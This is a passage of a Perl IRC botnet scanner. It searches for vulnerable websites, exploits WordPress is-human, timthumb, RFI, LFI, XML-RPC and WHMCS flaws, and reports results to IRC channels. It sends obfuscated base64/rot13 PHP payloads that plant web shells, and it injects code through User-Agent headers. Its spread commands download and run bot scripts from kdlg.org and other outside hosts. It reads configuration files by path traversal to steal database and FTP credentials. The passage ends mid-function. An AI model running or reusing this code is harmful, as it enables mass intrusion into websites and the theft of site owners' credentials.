    my $code = "ZWNobyAidjBwQ3Izdzxicj4iOwplY2hvICJzeXM6Ii5waHBfdW5hbWUoKS4iPGJyPiI7CiRjbWQ9ImVjaG8gbm9iMGR5Q3IzdztjZCAvdG1wO3JtIC1yZiBkb3IuKiAqLnR4dC4qO2ZldGNoIGh0dHA6Ly9rZGxnLm9yZy9jYWNoZS8uc2V0L2VjLnR4dDtwZXJsIGVjLnR4dDtybSAtcmYgZWMudHh0O3dnZXQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0O3JtIC1yZiBlYy50eHQ7Y3VybCAtTyBodHRwOi8va2RsZy5vcmcvY2FjaGUvLnNldC9lYy50eHQ7cGVybCBlYy50eHQ7cm0gLXJmIGVjLnR4dDtsd3AtZG93bmxvYWQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0O2NkIC92YXIvdG1wO3JtIC1yZiBkb3IuKiAqLmpwZy4qO2ZldGNoIGh0dHA6Ly9rZGxnLm9yZy9jYWNoZS8uc2V0L2VjLnR4dDtwZXJsIGVjLnR4dDtybSAtcmYgZWMudHh0O3dnZXQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0O3JtIC1yZiBlYy50eHQ7Y3VybCAtTyBodHRwOi8va2RsZy5vcmcvY2FjaGUvLnNldC9lYy50eHQ7cGVybCBlYy50eHQ7cm0gLXJmIGVjLnR4dDtsd3AtZG93bmxvYWQgaHR0cDovL2tkbGcub3JnL2NhY2hlLy5zZXQvZWMudHh0O3BlcmwgZWMudHh0OyI7CiRlc2VndWljbWQ9ZXgoJGNtZCk7ZWNobyAkZXNlZ3VpY21kOwpmdW5jdGlvbiBleCgkY2ZlKXsKJHJlcyA9ICcnOwppZiAoIWVtcHR5KCRjZmUpKXsKaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpewpAZXhlYygkY2ZlLCRyZXMpOwokcmVzID0gam9pbigiXG4iLCRyZXMpOwp9CmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7CiRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsKfQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSl7CkBvYl9zdGFydCgpOwpAc3lzdGVtKCRjZmUpOwokcmVzID0gQG9iX2dldF9jb250ZW50cygpOwpAb2JfZW5kX2NsZWFuKCk7Cn0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7CkBvYl9zdGFydCgpOwpAcGFzc3RocnUoJGNmZSk7CiRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CkBvYl9lbmRfY2xlYW4oKTsKfQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKXsKJGYgPSBAcG9wZW4oJGNmZSwiciIpOwp3aGlsZSghQGZlb2YoJGNmZSkpIHsgJHJlcyAuPSBAZnJlYWQoJGNmZSwxMDI0KTsgfQpAcGNsb3NlKCRmKTsKfX0KcmV0dXJuICRyZXM7Cn0=";

926
    my $req = HTTP::Request->new(POST => $url);

927
    $req->content_type('application/x-www-form-urlencoded');

928
    $req->content("send-contactus=1&author_name=%5Bphp%5Deval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");

929
    my $ua = LWP::UserAgent->new(agent => $uagent);

930
    $ua->timeout(7);

931
    my $res = $ua->request($req);

932
}

933
934
sub ih_exploit() {

935
	my $chan = $_[0];

936
	my $bug = $_[1];

937
	my $simpan = $_[2];

938
	my $dork = $_[3];

939
	my $engine = $_[4];

940
	my $count = 0;

941
	my @totexploit = &search_engine($chan,$bug,$dork,$engine,$ihlogo);

942
	my $num = scalar(@totexploit);

943
	if ($num > 0){

944
		foreach my $site(@totexploit){

945
		$count++;

946
		if ($count == $num-1) { &msg("$chan","$ihlogo15$engine 9Finished 15for 9$dork "); }

947
			my $ihxxx = "JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVNNEVQNThWZndINCtzcXFSWkZPT2trRGhwcFRBaFVhQWZsbXZhK0FJcmN4SHE5SkdseE8yZDdpUDkrY0R2cHk3TExaTkpKVDFwMG5uUmVIbzhuWnorVXMyVjdXRVNsbU9DSjBsRjN2MzI4dlZLbEZES1J0QlJGTXo3MTk0MlJXcEMvdzVTaTJtSWxaQlRIdmY3MXJUY21uOG1EYXQ5aC8vUzB2ZFZ0Y1lycFIwZGNveER0QTZrMXAzQnJOSVRCMzlIZ0ZsOE9oemZKY2o4ZTRudmpjL3p6aG5zUS9UV0s0bTR5R3ZRY1lDeXlCU0F3eVFoTkVENVN3S0NwVTJyY2hEWjhlV0NLV1hXeG4wU0FmbkdjSlVhbzBqUEdwQkFaOVpiMUw0RjY5TlJGTkswazB3c0lINTllVWNsSS96eUNBUDJMQzN6OERDcmtpcjZDdWdhUVdscHlWbklJR1hSUDZmR0NrNEw2eTQ0ODk1MmNucDhQUUthNmRQcWdoWVFnM3lNTm9xditNRTBqRllUbFBoNExOYWFLeU44T1AwR05KVlZTZ1dvUnRpcmhYWHhXRk12UkoyWWtoS09aMXVWRXA5UG9CSW8xcmR6eDNnMktxWHlrcG9pNmd6dU93TnF6OGdvSjVxWkJlYXQrWk9UMUNhK0ViWUZyLzk0cXhDWitNemEvVk1OYkw4MEZwM054ek1Rb1JNbVVycytBRjU4TmJUZkQ1S0wzZEdkOWJSVnNhUTR5cWpSUTRRcG8zajhiWFZMWHczSFE3dys5K3dCcTV1VWU0M1plQWRROEswbVVPUTFneE0yRVZlb2thZmxwa1F2WWFRMzh3UEU1YmRQNEhMbnhBVU02RXdocU5kTTVQUm54UDdpWVpyU0hiMXM3aW5RMHo3c2Q1KzJPcGYwejNkUzBpWUNMcHRnL05Qd0ZwU0tIUnZ2NTBINEFhNEtEY3U0QWFqdmpKYmtGeHFTQ1VBK3hqd04xTlFFRDZLT3QwV0lIdVAzV0hDTWdRRE1WeTA4YnFVdkFJMUZMcGdnd21xNmMwNitkNjNLOUtaODVVVldJemJFbWxUM1M5bk9ZVnNWR0Rlc01sV1pWaHN5TXBmUE0zYlhVbU54UnRxcERkaWxZb1h6ajMvVTZuaDFWNjlveHZweGw2M2Z2SFJpSHBMcVNIQmxZQU9EbWhKL1c3R25hZVB1M1JkemQvWjhjZ1A1K2tqcVJrY3dEeVhHQkNyTlhRT2ticzFzUnNScUVHSis4THVpWktBckNzMVBBTHVOeXBaRmVsRFRFbW43UkdCbU5VSndXR2Q3MHh0VzRZQ3UvaTRQUkk4a3IrL3NCOEIxRzJZbHF2RXdwaFFPeUlZb3ExNnlFbDQ3RjdYSlJrNmJ5cGgzVHpYKzBNQ3BtVGpKbndXVjMyK2dZOUl0aGN5ekxLSytyU0s3MkRjQUUrTFhiektiNWlldWNoeTdhcTBoYzA3bHlINkgxSXRiaUd6VWQrK0RYT2crblp2T0FSSm9UcFU5YU5naXV5TnFIeDIycHJYaHJVTjYxRlhnVXUvVWN1VXl5bFhKeHpIbjdaV2dIYVUyMmpvWkdsd09rSit1d1dObDU0ZmpXZUNUeDdnRjBUbWtPQy9GVkV4ZWRjNGtCK04razZLSlpIQTAyNzdLYXdLYXBpL2tob1ZtM1lZODBSZ0ZpVnBxWnZmQ00zRTlURy82NFYwYjQ5d2QyTUFWZmg0UGxhR2VPOERGdHRyZnRoY2oxMERjcXd4MnhrdFhPSXJOaUxtQTFLeW1oWDVqU0N0NHNDNlYyNGEyVjJ5MGxYZCtDYzAySXBNUmFpb2tNRTZmQ2cvMzlhbFdLdVd4dGRQRXVsR0tTdDByMFFjTmZqOWwyWmJocFBwejhDdz09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignLi9sb2JleC5waHAnLCd3Jyk7CmZ3cml0ZSgkZmljaGllciwgJGMpOwpmY2xvc2UoJGZpY2hpZXIpOw==";

948
			my $ihcek = "JHM9cGhwX3VuYW1lKCk7CmVjaG8gJzxicj4nLiRzOwoKZWNobyAnPGJyPic7CnBhc3N0aHJ1KGlkKTsK";

949
			my $vuln = "http://".$site.$bug."?action=log-reset&type=ih_options();eval(base64_decode(".$ihxxx."));error";

950
			my $cekih = "http://".$site.$bug."?action=log-reset&type=ih_options();eval(base64_decode(".$ihcek."));error";

951
			my $shell = "http://".$site."wp-content/plugins/is-human/lobex.php";

952
			if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

953
				my $coba = &get_content($cekih);sleep(1);

954
				if ($coba =~ /Array<br>(.*?)<br>(.*?)gid=/){ my $uname = $1; my $uid = $2; &get_content($vuln);sleep(1);

955
					&msg("$chan","$ihlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");

956
					my $res = &get_content($shell);sleep(1);

957
					if ($res =~ /UnKnown - Simple Shell/){

958
						&msg("$chan","$ihlogo15$engine 9<4=9>9 SheLL 9<4=9>9 $shell ");

959
						} else { &msg("$chan","$ihlogo15$engine 9<4=9>9 Vuln 9<4=9>9 $site 9<4=9> Os=$uname $uid");

960
						}

961
					}

962
				} exit;

963
			}

964
		}

965
	}

966
}

967
sub rfi_exploit() {

968
	my $chan = $_[0];

969
	my $bug = $_[1];

970
	my $simpan = $_[2];

971
	my $dork = $_[3];

972
	my $engine = $_[4];

973
	my $count = 0;

974
	my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rfilogo);

975
	my $num = scalar(@totexploit);

976
	if ($num > 0){

977
		foreach my $site(@totexploit){

978
		$count++;

979
		if ($count == $num-1) { &msg("$chan","$rfilogo15$engine 9Finished 15for 9$dork "); }

980
			my $coba = "http://".$site.$bug."test??";

981
			my $test = "http://".$site.$bug.$injector."??";

982
			my $dor  = "http://".$site.$bug.$botshell."??";

983
			if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

984
				my $cek  = &get_content($coba);sleep(1);

985
				&get_content($dor);sleep(1);

986
				if ($cek =~ /failed to open stream/) {

987
					my $check = &get_content($test);sleep(1);

988
					if ($check =~ /STUNSHELL/i) {

989
						&os2($test,$chan,$engine,$rfilogo);

990
						}

991
					}

992
				} exit;

993
			}

994
		}

995
	}

996
}

997
998
sub lfi_exploit() {

999
	my $chan = $_[0];

1000
	my $bug = $_[1];

1001
	my $simpan = $_[2];

1002
	my $dork = $_[3];

1003
	my $engine = $_[4];

1004
	my $count = 0;

1005
	my @totexploit = &search_engine($chan,$bug,$dork,$engine,$lfilogo);

1006
	my $num = scalar(@totexploit);

1007
	if ($num > 0){

1008
		foreach my $site(@totexploit){

1009
		$count++;

1010
		if ($count == $num-1) { &msg("$chan","$lfilogo15$engine 9Finished 15for 9$dork "); }

1011
			my $dir = "../../../../../../../../../../../../../../../../../../../../../../../../";

1012
			my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000";

1013
			my $shell = "http://".$site.$bug.$dir."/tmp/lobex%0000";

1014
			if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

1015
				my $html = &get_content($test);

1016
				if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) {

1017
					my $res = lfi_env_query($test);

1018
#					&lfi_spread_query($test);

1019
					if ($res =~ /c0li#(.*?)#c0li(.*?)SUCCESS/) {

1020
						my $os = $1;

1021
						my $uid = $2;

1022
						my $lficheck = &get_content($shell);

1023
						if ($lficheck =~ /UnKnown - Simple Shell/){

1024
							&msg("$chan","$lfilogo15$engine 9<4=9>9 SheLL 9<4=9>9 $shell 15(OS=$os) $uid ");

1025
						} else {

1026
							&msg("$chan","$lfilogo15$engine 9<4=9>9 Vuln 9<4=9>9 $site 15(OS=$os) $uid ");

1027
						}

1028
					}

1029
				}

1030
			} exit; }

1031
		}

1032
	}

1033
}

1034
sub lfi_env_query() {

1035
    my $url = $_[0];

1036
    my $code = 'JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWxkUXVOVEZIMHVFdjl1bUZPeW93V0hla2lKVDV4ZEZsbUpUUWlOazc0QXNoeDdrc3h2ajYyWk1ka1U4ZDk3NzR3ZGtuS2h0TnE4eExuMzNLOHpkSzdUL1VQT3krMHR4WlRpaFlpVWpxVnAyMVRiVzFuS1QxT1NsWVhVWE16Y2ZUVHlLV1JxdUVWWnU2MG9ETUt3UDdpOGFTYng1L2pPdVhxM2YydlkzbmZkWnNWb1JVZFBFNS9zVUVONHdTYndpQUhEdjRMaE5UMGZqYTZpODA0NG9yZm81dUx6aG5zWS9Ea093a1EwSHZZdFlFV2tXRURRT0kzSk1oWXpBaEVzMGVSVFlIZU1wd2hHOFpUbCt5a0Q2RlF1YXpTRExoMDBVMnlSTW5UVi93cllKZzh0eFpKWFpiMkU5T0h4VEJCZERFRURWVEE0TzZOVWo4QlBwdGdycUZnQW1kSlpsbG42UTJSZUtEMU1pamgwN25jaXgzNVV4NmVuVUtDcG5wbmQ2VTlQa3BlQ2hzSEZZQlNzQmVVeHoxdzZLZFNFcVV2K2JmQmtoaFl2S1dXNldLaHVpZTdTODB2eGpIekNJNGtGbVhoZEhtazZEVUxBU3pQS2plaGZrWkRKZTRaYTFCUGNDQUxXdnFHM2tHQmgrcVNtNjNSVVhwL3dFMFRQRU8vZUdZYjQxSHB4ODFzd3VtbVNyQkFNSllPS1JGSWxFN2F1QVNjOEdmYXZVOUZNLzQvZzh2Z2lZNHdPUmFZMEovNFQ2bWRqTXI0SUxsVFJZekFZT2JjZTdTektQUzZTckFJb1BpdWVseG56UU9Lb0VNa3N4YmJlTHJFSjIybUE3eWlmd3pmSjU5REtCMERKdkNDMHE3bk9TMklzZmhmRlQ1QTlFcHJlVmpoMFROYnRTeTlCUk1PbkJWd3d4Zjl6L2tJa0tUSTRyUjhQektmWG5mU290NnJwMFdGMEFqWjJnbHRnakNvNGVaKzYxSU1SSXpBQUw5b1kzYlpVMjJLdE1ZWUFHS0xpcVdJeTVWaHJoQXlyRWg0bHN5Zm43SGpuYlZ0aXFvZUhCd1VwSG5SSG1hTjVZcWFaU1NMUnNNWlZ1WUJ2QkxXVkxFVjd4eEkwVENXMktsOTJLY3RQdWVqZmFEcU9FYUprN2FBdmNNSzQybnZ2MFNHWnJxUWdkZkVBM0p6c3c1cmRxTHkyZjZ2RXpjMS9xUUhvbDR2VWhaQXlCeWlUT2Nsa2hRRFRTcmhHVm5rNDhDbnR2VUhvVnBIbnNWVWJBcnRjbEpVbWJVd3luM2YyVWthQ0hQczB5VWE2NlEyclZzNmYvRFlQSmZka1NabmZhb0R2WUhROTUzV3pSZ1lIY1VYa1NLWnNDUzhiZzl0WWNCMDNuVGZqNERUL01zSzR6SW80SlhROGNIT01EcUtmV2pQbmRzcFIzYTJ5dldJQXBoQmZ1MFNiK0pQV05ROTV0a3E3dUhFTEUzMVYxcHRMeTQ5NTJ1ajN2OVJvQkZ2Z0F5VldGaXZsNjJzandEWk0rK2hScjdpMUEyTFF1N1pOa2JGNHh3WTN5N1V5RVNuSExWOCszWUdkbHVtamlhbmJnYUFINHpETEdMZGlhKzAwbERpM2dETWdvOE84dUhTUnpjN1NDQUh1TjFCblhsTTJERGJ1cWh2UGxLbWIrUzZwWTAyN1ZCcEl3TnVScGJnWEhvbGR4SEhESDBsV0FuOTdpQWFUOTJnNlMxNkhwNFFla1ZSbTI1NlJYSXUrYmhudWlLR3NhZWFwYkhEVmVLMlVlVjFPUHpjSzJqY2ZTOVlLYW56RXZyREV4Vmx6cTB3UmFEQ1dycjl2eWY5VjZuR0s3SEt4ODAvaUQ3MS9BQT09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignL3RtcC9sb2JleCcsJ3cnKTsKZndyaXRlKCRmaWNoaWVyLCAkYyk7CmZjbG9zZSgkZmljaGllcik7';

1037
    my $ua = LWP::UserAgent->new(agent => "<?echo 'c0li#'.php_uname().'#c0li'.get_current_user();eval(base64_decode('".$code."'));echo 'SUCCESS';?>");

1038
    $ua->timeout(7);

1039
    my $req = HTTP::Request->new(GET => $url);

1040
    my $res = $ua->request($req);

1041
    return $res->content;

1042
}

1043
1044
sub xml_exploit() {

1045
	my $chan = $_[0];

1046
	my $bug = $_[1];

1047
	my $simpan = $_[2];

1048
	my $dork = $_[3];

1049
	my $engine = $_[4];

1050
	my $count = 0;

1051
	my @totexploit = &search_engine($chan,$bug,$dork,$engine,$xmllogo);

1052
	my $num = scalar(@totexploit);

1053
	if ($num > 0){

1054
		foreach my $site(@totexploit){

1055
		$count++;

1056
		if ($count == $num-1) { &msg("$chan","$xmllogo15$engine 9Finished 15for 9$dork "); }

1057
            my $test = "http://".$site.$bug;

1058
            my $vuln = "http://".$site."12".$bug;

1059
            if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {

1060
            my $html = &get_content($test);

1061
            if ($html =~ /faultcode/i ) {

1062
            my $resp = &xml_cek_query2($test);

1063
			if ($resp =~ /Byroe(.*)Lobex/s) {

1064
#			&xml_spread_query($test);sleep(1);

1065
			my $sys = $1;

1066
			my $shell = "http://".$site."/lobex.php";

1067
			my $check = &get_content($shell);

1068
				if ($check =~ /UnKnown - Simple Shell/) {

1069
				my $safe = ""; my $os = ""; my $uid = "";

1070
				if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}

1071
				if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}

1072
				if ($check =~ /uid=(.*?)gid=/){$uid=$1;}

1073
				&msg("$chan","$xmllogo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");

1074
				&msg("$admin","$xmllogo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");

1075
				}

1076
#				else { 

1077
#				&msg("$chan","0,1$xmllogo(4@8$engine15)15(13@12SysTem15)10 ".$vuln." 3".$sys); sleep(1);}

1078
				}

1079
			}

1080
				} exit;

1081
			}

1082
		}

1083
	}

1084
	}

1085
1086
sub xml_cek_query() {

1087
	my $url 	= $_[0];

1088
	my $code = "system('uname -a');";

1089
	my $ua = LWP::UserAgent->new(agent => 'perl post');

1090
		$exploit = "<?xml version=\"1.0\"?><methodCall>";

1091
		$exploit .= "<methodName>test.method</methodName>";

1092
		$exploit .= "<params><param><value><name>',''));";

1093
		$exploit .= "echo'j13mb0t';".$code."echo'j13mb0t';exit;/*</name></value></param></params></methodCall>";

1094
	$ua->timeout(7);

1095
	my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);

1096
	return $res->content;

1097
}

1098
1099
sub xml_cek_query2() {

1100
	my $url = $_[0];

1101
	my $string = "JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVNNEVQNThWZndINCtzcXFSWkZPT2trRGhwcFRBaFVhQWZsbXZhK0FJcmN4SHE5SkdseE8yZDdpUDkrY0R2cHk3TExaTkpKVDFwMG5uUmVIbzhuWnorVXMyVjdXRVNsbU9DSjBsRjN2MzI4dlZLbEZES1J0QlJGTXo3MTk0MlJXcEMvdzVTaTJtSWxaQlRIdmY3MXJUY21uOG1EYXQ5aC8vUzB2ZFZ0Y1lycFIwZGNveER0QTZrMXAzQnJOSVRCMzlIZ0ZsOE9oemZKY2o4ZTRudmpjL3p6aG5zUS9UV0s0bTR5R3ZRY1lDeXlCU0F3eVFoTkVENVN3S0NwVTJyY2hEWjhlV0NLV1hXeG4wU0FmbkdjSlVhbzBqUEdwQkFaOVpiMUw0RjY5TlJGTkswazB3c0lINTllVWNsSS96eUNBUDJMQzN6OERDcmtpcjZDdWdhUVdscHlWbklJR1hSUDZmR0NrNEw2eTQ0ODk1MmNucDhQUUthNmRQcWdoWVFnM3lNTm9xditNRTBqRllUbFBoNExOYWFLeU44T1AwR05KVlZTZ1dvUnRpcmhYWHhXRk12UkoyWWtoS09aMXVWRXA5UG9CSW8xcmR6eDNnMktxWHlrcG9pNmd6dU93TnF6OGdvSjVxWkJlYXQrWk9UMUNhK0ViWUZyLzk0cXhDWitNemEvVk1OYkw4MEZwM054ek1Rb1JNbVVycytBRjU4TmJUZkQ1S0wzZEdkOWJSVnNhUTR5cWpSUTRRcG8zajhiWFZMWHczSFE3dys5K3dCcTV1VWU0M1plQWRROEswbVVPUTFneE0yRVZlb2thZmxwa1F2WWFRMzh3UEU1YmRQNEhMbnhBVU02RXdocU5kTTVQUm54UDdpWVpyU0hiMXM3aW5RMHo3c2Q1KzJPcGYwejNkUzBpWUNMcHRnL05Qd0ZwU0tIUnZ2NTBINEFhNEtEY3U0QWFqdmpKYmtGeHFTQ1VBK3hqd04xTlFFRDZLT3QwV0lIdVAzV0hDTWdRRE1WeTA4YnFVdkFJMUZMcGdnd21xNmMwNitkNjNLOUtaODVVVldJemJFbWxUM1M5bk9ZVnNWR0Rlc01sV1pWaHN5TXBmUE0zYlhVbU54UnRxcERkaWxZb1h6ajMvVTZuaDFWNjlveHZweGw2M2Z2SFJpSHBMcVNIQmxZQU9EbWhKL1c3R25hZVB1M1JkemQvWjhjZ1A1K2tqcVJrY3dEeVhHQkNyTlhRT2ticzFzUnNScUVHSis4THVpWktBckNzMVBBTHVOeXBaRmVsRFRFbW43UkdCbU5VSndXR2Q3MHh0VzRZQ3UvaTRQUkk4a3IrL3NCOEIxRzJZbHF2RXdwaFFPeUlZb3ExNnlFbDQ3RjdYSlJrNmJ5cGgzVHpYKzBNQ3BtVGpKbndXVjMyK2dZOUl0aGN5ekxLSytyU0s3MkRjQUUrTFhiektiNWlldWNoeTdhcTBoYzA3bHlINkgxSXRiaUd6VWQrK0RYT2crblp2T0FSSm9UcFU5YU5naXV5TnFIeDIycHJYaHJVTjYxRlhnVXUvVWN1VXl5bFhKeHpIbjdaV2dIYVUyMmpvWkdsd09rSit1d1dObDU0ZmpXZUNUeDdnRjBUbWtPQy9GVkV4ZWRjNGtCK04razZLSlpIQTAyNzdLYXdLYXBpL2tob1ZtM1lZODBSZ0ZpVnBxWnZmQ00zRTlURy82NFYwYjQ5d2QyTUFWZmg0UGxhR2VPOERGdHRyZnRoY2oxMERjcXd4MnhrdFhPSXJOaUxtQTFLeW1oWDVqU0N0NHNDNlYyNGEyVjJ5MGxYZCtDYzAySXBNUmFpb2tNRTZmQ2cvMzlhbFdLdVd4dGRQRXVsR0tTdDByMFFjTmZqOWwyWmJocFBwejhDdz09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignLi9sb2JleC5waHAnLCd3Jyk7CmZ3cml0ZSgkZmljaGllciwgJGMpOwpmY2xvc2UoJGZpY2hpZXIpOw==";

1102
	my $ua = LWP::UserAgent->new(agent => 'perl post');

1103
		$exploit = "<?xml version=\"1.0\"?><methodCall>";

1104
		$exploit .= "<methodName>test.method</methodName>";

1105
		$exploit .= "<params><param><value><name>',''));";

1106
		$exploit .= "echo 'Byroe';echo(php_uname());eval(base64_decode('$string'));echo 'Lobex';exit;/*</name></value></param></params></methodCall>";

1107
	$ua->timeout(7);

1108
	my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);

1109
	return $res->content;

1110
}

1111
1112
sub xml_spread_query() {

1113
my $xmltargt = $_[0];

1114
my $xmlsprd  = "system('wget ".$injector." -O lobex.php;fetch ".$injector.";mv bad.txt lobex.php;wget ".$botshell." -O tmp.php;fetch ".$botshell.";mv bot.txt tmp.php;killall -9 perl;killall -9 php;cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;cd /var/tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;');";

1115
		my $userAgent = LWP::UserAgent->new(agent => 'perl post');

1116
        $exploit = "<?xml version=\"1.0\"?><methodCall>";

1117
        $exploit .= "<methodName>test.method</methodName>";

1118
        $exploit .= "<params><param><value><name>',''));";

1119
        $exploit .= "echo'j13m';".$xmlsprd."echo'b0T';exit;/*</name></value></param></params></methodCall>";

1120
	$userAgent->timeout(7);

1121
my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);

1122
}

1123
1124
sub thumb_exploit() {

1125
	my $chan = $_[0];

1126
	my $bug = $_[1];

1127
	my $simpan = $_[2];

1128
	my $dork = $_[3];

1129
	my $engine = $_[4];

1130
	my $count = 0;

1131
    my @totexploit = &search_engine($chan,$bug,$dork,$engine,$thumblogo);

1132
    my $num = scalar(@totexploit);

1133
    if ($num > 0){

1134
    	foreach my $site(@totexploit){

1135
    		$count++;

1136
			my $vuln = "http://".$site.$bug."?src=".$thumbshell;

1137
			my $botis = "http://".$site.$bug."?src=".$botid;

1138
			my $botxc = "http://".$site.$bug."?src=".$botxid;

1139
			if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {

1140
				my @nbug = split(/\//,$bug);

1141
				my $cek  = &get_content($vuln);sleep(1);

1142
				if ($cek =~ /Unable to open image(.*?)$nbug[0](.*?)$md5php/i){

1143
					&msg("$chan","$thumblogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");

1144
					my $pdir = $2;

1145
					if ($spreadMode == 1) { &get_content($botis); &get_content($botxc);sleep(1); }

1146
					my $crut = "http://".$site.$nbug[0].$pdir.$md5php;

1147
					my $botc = "http://".$site.$nbug[0].$pdir.$md5bot;

1148
					my $botpc = "http://".$site.$nbug[0].$pdir.$md5botx;

1149
					my $npath = "http://".$site."/wp-includes/wp-script.php";

1150
					my $check = &get_content($crut."?clone");sleep(1);

1151
					if ($check =~ /GIF89a/i){

1152
						my $safe = ""; my $os = ""; my $uid = "";

1153
						if ($check =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}

1154
						if ($check =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}

1155
						if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;}

1156
						my $crot = &get_content($npath);sleep(1);

1157
						if ($crot =~ /GIF89a/i){

1158
							&msg("$admin","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$npath."15 (SafeMode=$safe) (OS=$os) uid=$uid ");

1159
							&msg("$chan","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$npath."15 (SafeMode=$safe) (OS=$os) uid=$uid ");

1160
						} else {

1161
							&msg("$admin","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$crut."15 (SafeMode=$safe) (OS=$os) uid=$uid ");

1162
							&msg("$chan","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$crut."15 (SafeMode=$safe) (OS=$os) uid=$uid ");

1163
						}

1164
						&get_content($botc);sleep(1);

1165
						&get_content($botpc);sleep(1);

1166
					}

1167
				}

1168
			} exit; }

1169
    	if ($count == $num-1) { &msg("$chan","$thumblogo15$engine 9Finished 15for 9$dork "); }

1170
    	}

1171
    }

1172
}

1173
1174
sub whmcs_exploit() {

1175
	my $chan = $_[0];

1176
	my $bug = $_[1];

1177
	my $simpan = $_[2];

1178
	my $dork = $_[3];

1179
	my $engine = $_[4];

1180
	my $count = 0;

1181
    my @totexploit = &search_engine($chan,$bug,$dork,$engine,$whmcslogo);

1182
    my $num = scalar(@totexploit);

1183
    if ($num > 0){

1184
    	foreach my $site(@totexploit){

1185
    	$count++;

1186
    	if ($count == $num-1) { &msg("$chan","$whmcslogo15$engine 9Finished 15for 9$dork "); }

1187
			my $test1 = "http://".$site.$bug."../../../configuration.php%00";

1188
			my $submit = "http://".$site.$subticket;

1189
			if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {

1190
			my $html = &get_content($test1);

1191
			if ($html =~ /db_host/i) {

1192
			my $userpass = &getUserPass($html); sleep(2);

1193
			my $info = &getinfo($html); sleep(2);

1194
				&msg("$chaninfo","$whmcslogo15$engine 4<9=4>9 info 15[ 9http://".$site."15 ] 9$info");

1195
			my $lulz = "http://".$site;

1196
			my $user = ""; my $pass = ""; my $user2 = ""; my $pass2 = ""; my $dtbs2 = "";

1197
			if($lulz =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {

1198
				my $host = $2;

1199
				my @ftpu = split(":Viva-Byroe.Net:", $userpass);

1200
				my @dbic = split(":Viva-Byroe.Net:", $info);

1201
				$user = $ftpu[0]; $pass = $ftpu[1];

1202
				$user2 = $dbic[0]; $pass2 = $dbic[1]; $dtbs2 = $dbic[2];

1203
				my $ftpstat = "";

1204
					if($user =~ /_/) { @userz = split("_", $user); $user = $userz[0];}

1205
						&ftp_connect($test1,$host,$user,$pass,$chan,$engine,$whmcslogo);sleep(1);

1206
						&dbi_connect($host,$user2,$pass2,$dtbs2,$chan,$engine,$whmcslogo);sleep(1);

1207
					}

1208
					my $ceksubmit = &get_content($submit);

1209
					if ($ceksubmit =~ /Urgency/i) {

1210
						&msg("$submitchan","$whmcslogo15$engine 4<9=4>9 Submit Ticket 15[9 ".$submit." 15]"); sleep(2);

1211
					my $uploader = "http://".$site."/downloads/indexx.php";

1212
					my $uploader2 = "http://".$site."/templates_c/indexx.php";

1213
					my $cekup = &get_content($uploader);

1214
					my $cekup2 = &get_content($uploader2);

1215
